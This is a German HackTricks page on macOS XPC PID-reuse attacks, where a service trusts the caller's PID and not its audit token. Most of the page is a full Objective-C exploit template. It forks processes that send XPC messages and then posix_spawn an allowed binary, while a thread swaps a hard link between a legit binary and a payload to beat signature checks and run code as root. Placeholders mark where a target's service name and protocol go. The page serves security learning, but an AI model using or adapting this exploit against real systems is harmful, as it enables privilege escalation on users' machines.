Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an dieHackTricks und HackTricks Cloud GitHub-Repositorys senden.
PID Wiederverwendung
Wenn ein macOS XPC-Dienst den aufgerufenen Prozess anhand der PID und nicht des Audit-Token überprüft, ist er anfällig für einen PID-Wiederverwendungsangriff. Dieser Angriff basiert auf einer Race Condition, bei der ein Exploit Nachrichten an den XPC-Dienst sendet, die Funktionalität missbrauchen und kurz danach posix_spawn(NULL, ziel_binary, NULL, &attr, ziel_argv, environ) mit dem erlaubten Binärdatei ausführt.
Diese Funktion lässt die erlaubte Binärdatei die PID besitzen, aber die bösartige XPC-Nachricht wurde gerade zuvor gesendet. Wenn der XPC-Dienst die PID zur Authentifizierung des Senders verwendet und sie NACH der Ausführung von posix_spawn überprüft, wird er denken, dass sie von einem autorisierten Prozess stammt.
Beispiel für Exploit
Wenn Sie die Funktion shouldAcceptNewConnection oder eine von ihr aufgerufene Funktion finden, die processIdentifier aufruft und nicht auditToken aufruft. Es ist sehr wahrscheinlich, dass sie die Prozess-PID überprüft und nicht das Audit-Token.
Wie zum Beispiel in diesem Bild (aus der Referenz entnommen):
Überprüfen Sie diesen Beispiel-Exploit (erneut aus der Referenz), um die 2 Teile des Exploits zu sehen:
Einer, der mehrere Forks generiert
Jeder Fork wird das Payload an den XPC-Dienst senden, während er kurz nach dem Senden der Nachricht posix_spawn ausführt.
Damit der Exploit funktioniert, ist es wichtig, export`` ``OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES zu setzen oder im Exploit einzufügen:
Dieses Beispiel verwendet ein einfaches fork, um Kindprozesse zu starten, die die PID-Rennbedingung ausnutzen und dann eine weitere Rennbedingung über einen Hardlink ausnutzen:
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl
#include <Foundation/Foundation.h>
#include <spawn.h>
#include <pthread.h>
// TODO: CHANGE PROTOCOL AND FUNCTIONS
@protocol HelperProtocol
- (void)DoSomething:(void (^)(_Bool))arg1;
@end
// Global flag to track exploitation status
bool pwned = false;
/**
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
* XPC service verify the legit binary and then execute as root out payload.
*/
void *check_race(void *arg) {
while(!pwned) {
// Overwrite with contents of the legit binary
system("cat ./legit_bin > hard_link");
usleep(50000);
// Overwrite with contents of the payload to execute
// TODO: COMPILE YOUR OWN PAYLOAD BIN
system("cat ./payload > hard_link");
usleep(50000);
}
return NULL;
}
void child_xpc_pid_rc_abuse(){
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
extern char **environ;
// Connect with XPC service
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
NSString* service_name = @"com.example.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
// TODO: CNAGE THE PROTOCOL NAME
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}];
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", connection);
// Call vulenrable XPC function
// TODO: CHANEG NAME OF FUNCTION TO CALL
[obj DoSomething:^(_Bool b){
NSLog(@"Response, %hdd", b);
}];
// Change current process to the legit binary suspended
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
/**
* Function to perform the PID race condition using children calling the XPC exploit.
*/
void xpc_pid_rc_abuse() {
#define RACE_COUNT 1
extern char **environ;
int pids[RACE_COUNT];
// Fork child processes to exploit
for (int i = 0; i < RACE_COUNT; i++) {
int pid = fork();
if (pid == 0) { // If a child process
child_xpc_pid_rc_abuse();
}
printf("forked %d\n", pid);
pids[i] = pid;
}
// Wait for children to finish their tasks
sleep(3);
// Terminate child processes
for (int i = 0; i < RACE_COUNT; i++) {
if (pids[i]) {
kill(pids[i], 9);
}
}
}
int main(int argc, const char * argv[]) {
// Create and set execution rights to 'hard_link' file
system("touch hard_link");
system("chmod +x hard_link");
// Create thread to exploit sign verification RC
pthread_t thread;
pthread_create(&thread, NULL, check_race, NULL);
while(!pwned) {
// Try creating 'download' directory, ignore errors
system("mkdir download 2>/dev/null");
// Create a hardlink
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
system("ln hard_link download/legit_bin");
xpc_pid_rc_abuse();
usleep(10000);
// The payload will generate this file if exploitation is successfull
if (access("/tmp/pwned", F_OK ) == 0) {
pwned = true;
}
}
return 0;
}